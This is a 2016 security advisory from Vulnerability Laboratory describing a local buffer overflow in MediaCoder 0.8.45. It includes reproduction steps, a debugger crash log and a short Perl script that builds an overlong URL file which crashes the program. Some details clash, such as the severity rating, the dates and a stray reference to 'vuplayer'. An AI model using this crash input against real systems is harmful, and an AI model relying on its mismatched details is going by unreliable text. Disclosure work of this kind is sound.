MediaCoder 0.8.45 - Buffer Overflow Vulnerability

Document Title:
===============
MediaCoder 0.8.45 - Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1883


Release Date:
=============
2016-07-27


Vulnerability Laboratory ID (VL-ID):
====================================
1883


Common Vulnerability Scoring System:
====================================
6


Product & Service Introduction:
===============================
MediaCoder is a universal media transcoding software actively developed and maintained since 2005. It puts together most 
cutting-edge audio/video technologies into an out-of-box transcoding solution with a rich set of adjustable parameters 
which let you take full control of your transcoding.

(Copy of the Vendor Homepage: http://www.mediacoderhq.com/ )



Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local buffer overflow in the official MediaCoder v0.8.45 software client.


Vulnerability Disclosure Timeline:
==================================
2016-07-28:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Mediacoder HQ
Product: Media Coder - Software Client 0.8.45


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A buffer overflow vulnerability has been discovered in the official MediaCoder v0.8.45 software.
The vulnerability allows local attackers to overwrite the registers to compromise the local software process.

The classic buffer overflow vulnerability is located in the software MediaCoder. An attacker can manipulate the 
bit EIP register in order to execute the next instruction of their choice. Attackers are able to for example 
execute arbitrary codes with process privileges. The attacker includes a large unicode string to overwrite 
the EIP register of the process. Finally the attacker is able to takeover the process by an overwrite of the 
active program process to compromise the computer system.

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability 
scoring system) count of 6.0. Exploitation of the vulnerability requires a low privilege or restricted system 
user account without user interaction. Successful exploitation of the vulnerability results in computer system 
manipulation and compromise of the computer system.


Proof of Concept (PoC):
=======================
The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Launch MediaCoder.exe                
2. Run the code in perl and a file format (.txt) will create
3. Click File - Add URL
4. open the file (.txt) and copy paste characters http://AAAAAAA ....
5. Made a double click on the link
6. Software will crash with Access violation
7. Successful reproduce of the local buffer overflow vulnerability!

--- Debug Session Logs [WinDBG] ---
Access violation - code c0000005 (!!! second chance !!!)
eax=00547c38 ebx=01e2bb48 ecx=91543bdb edx=80000000 esi=002b07c6 edi=00547c38
eip=41414141 esp=0014f464 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
41414141 ??              ???

Note: EIP & EBP  overwritten


PoC : Exploit Perl 
#!/usr/bin/perl
my $header = "http://";
my $Buff = "x41" x 2000;
open(MYFILE,'>>File.txt');
print MYFILE $header.$Buff;
close(MYFILE);
print " POC Created by ZwXn";


Security Risk:
==============
The security risk of the local buffer overflow vulnerability in the vuplayer software core is estimated as high. (CVSS 6.0)


Credits & Authors:
==================
ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    [email protected] 	- [email protected] 				- [email protected]
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or [email protected]) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™